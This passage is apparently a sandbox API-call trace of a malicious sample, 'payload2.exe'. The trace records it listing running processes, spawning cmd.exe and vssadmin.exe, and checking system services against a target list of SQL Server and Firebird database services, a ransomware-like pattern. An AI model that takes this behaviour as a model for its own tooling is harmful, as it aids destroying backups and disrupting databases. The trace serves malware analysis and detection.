(lpString="least.exe") returned 9 [0054.038] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0054.039] lstrlenW (lpString="meetings.exe") returned 12 [0054.039] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0054.040] lstrlenW (lpString="wooltestimony.exe") returned 17 [0054.040] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0054.041] lstrlenW (lpString="inexpensive.exe") returned 15 [0054.041] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0054.041] lstrlenW (lpString="er-amd.exe") returned 10 [0054.041] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0054.042] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0054.042] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0054.043] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0054.043] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0054.043] lstrlenW (lpString="payload2.exe") returned 12 [0054.043] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0054.044] lstrlenW (lpString="cmd.exe") returned 7 [0054.044] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0054.045] lstrlenW (lpString="conhost.exe") returned 11 [0054.045] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0054.045] lstrlenW (lpString="vssadmin.exe") returned 12 [0054.045] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0054.046] lstrlenW (lpString="VSSVC.exe") returned 9 [0054.046] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0054.257] lstrlenW (lpString="svchost.exe") returned 11 [0054.258] Process32NextW (in: hSnapshot=0x220, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0054.259] CloseHandle (hObject=0x220) returned 1 [0054.259] Sleep (dwMilliseconds=0x1f4) [0054.968] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x29fb28 [0054.988] EnumServicesStatusExW (in: hSCManager=0x29fb28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0054.998] GetLastError () returned 0xea [0054.998] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x3fbcbf0 [0054.998] EnumServicesStatusExW (in: hSCManager=0x29fb28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3fbcbf0, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3fbcbf0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0054.999] CloseServiceHandle (hSCObject=0x29fb28) returned 1 [0054.999] lstrlenW (lpString="Appinfo") returned 7 [0054.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0054.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0054.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0054.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0054.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0054.999] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0054.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0054.999] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0054.999] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0054.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0054.999] lstrlenW (lpString="AudioSrv") returned 8 [0054.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0054.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0054.999] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0054.999] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0055.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0055.000] lstrlenW (lpString="BFE") returned 3 [0055.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0055.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0055.000] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0055.000] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0055.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0055.000] lstrlenW (lpString="CryptSvc") returned 8 [0055.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0055.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0055.000] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0055.000] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0055.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0055.000] lstrlenW (lpString="CscService") returned 10 [0055.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0055.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0055.000] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0055.000] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0055.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0055.000] lstrlenW (lpString="DcomLaunch") returned 10 [0055.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.000] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0055.000] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0055.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0055.000] lstrlenW (lpString="Dhcp") returned 4 [0055.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0055.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0055.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0055.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0055.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0055.001] lstrlenW (lpString="Dnscache") returned 8 [0055.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0055.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0055.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0055.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0055.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0055.001] lstrlenW (lpString="DPS") returned 3 [0055.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0055.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0055.001] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0055.001] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0055.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0055.001] lstrlenW (lpString="eventlog") returned 8 [0055.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0055.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0055.001] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0055.001] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0055.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0055.001] lstrlenW (lpString="EventSystem") returned 11 [0055.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0055.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0055.001] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0055.001] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0055.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0055.001] lstrlenW (lpString="gpsvc") returned 5 [0055.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0055.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0055.001] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0055.001] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0055.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0055.002] lstrlenW (lpString="iphlpsvc") returned 8 [0055.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.002] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0055.002] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0055.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0055.002] lstrlenW (lpString="LanmanServer") returned 12 [0055.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0055.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0055.002] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0055.002] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0055.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0055.002] lstrlenW (lpString="LanmanWorkstation") returned 17 [0055.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.002] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0055.002] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0055.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0055.002] lstrlenW (lpString="lmhosts") returned 7 [0055.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0055.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0055.002] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0055.002] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0055.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0055.002] lstrlenW (lpString="MMCSS") returned 5 [0055.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0055.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0055.002] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0055.002] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0055.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0055.002] lstrlenW (lpString="MpsSvc") returned 6 [0055.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0055.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0055.003] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0055.003] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0055.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0055.003] lstrlenW (lpString="Netman") returned 6 [0055.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0055.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0055.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0055.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0055.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0055.003] lstrlenW (lpString="netprofm") returned 8 [0055.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0055.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0055.003] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0055.003] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0055.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0055.003] lstrlenW (lpString="NlaSvc") returned 6 [0055.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0055.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0055.003] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0055.003] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0055.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0055.003] lstrlenW (lpString="nsi") returned 3 [0055.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0055.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0055.003] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0055.003] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0055.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0055.003] lstrlenW (lpString="PcaSvc") returned 6 [0055.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0055.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0055.003] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0055.003] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0055.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0055.004] lstrlenW (lpString="PlugPlay") returned 8 [0055.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0055.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0055.004] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0055.004] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0055.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0055.004] lstrlenW (lpString="Power") returned 5 [0055.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0055.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0055.004] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0055.004] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0055.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0055.004] lstrlenW (lpString="ProfSvc") returned 7 [0055.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0055.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0055.004] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0055.004] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0055.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0055.004] lstrlenW (lpString="RpcEptMapper") returned 12 [0055.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.004] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0055.004] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0055.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0055.004] lstrlenW (lpString="RpcSs") returned 5 [0055.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0055.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0055.004] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0055.004] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0055.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0055.004] lstrlenW (lpString="SamSs") returned 5 [0055.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0055.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0055.004] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0055.005] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0055.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0055.005] lstrlenW (lpString="Schedule") returned 8 [0055.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0055.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0055.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0055.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0055.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0055.005] lstrlenW (lpString="SENS") returned 4 [0055.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0055.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0055.005] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0055.005] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0055.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0055.005] lstrlenW (lpString="ShellHWDetection") returned 16 [0055.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0055.005] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0055.005] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0055.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0055.005] lstrlenW (lpString="Spooler") returned 7 [0055.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0055.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0055.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0055.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0055.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0055.005] lstrlenW (lpString="swprv") returned 5 [0055.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0055.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0055.005] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0055.005] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0055.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0055.005] lstrlenW (lpString="SysMain") returned 7 [0055.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0055.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0055.006] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0055.006] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0055.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0055.006] lstrlenW (lpString="Themes") returned 6 [0055.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0055.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0055.006] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0055.006] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0055.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0055.006] lstrlenW (lpString="TrkWks") returned 6 [0055.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0055.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0055.006] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0055.006] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0055.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0055.006] lstrlenW (lpString="UxSms") returned 5 [0055.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0055.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0055.006] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0055.006] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0055.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0055.006] lstrlenW (lpString="VSS") returned 3 [0055.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0055.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0055.006] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0055.006] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0055.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0055.006] lstrlenW (lpString="WdiServiceHost") returned 14 [0055.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0055.006] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0055.006] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0055.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0055.007] lstrlenW (lpString="WdiSystemHost") returned 13 [0055.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0055.007] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0055.007] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0055.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0055.007] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0055.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0055.007] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0055.007] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0055.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0055.007] lstrlenW (lpString="Winmgmt") returned 7 [0055.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0055.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0055.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") 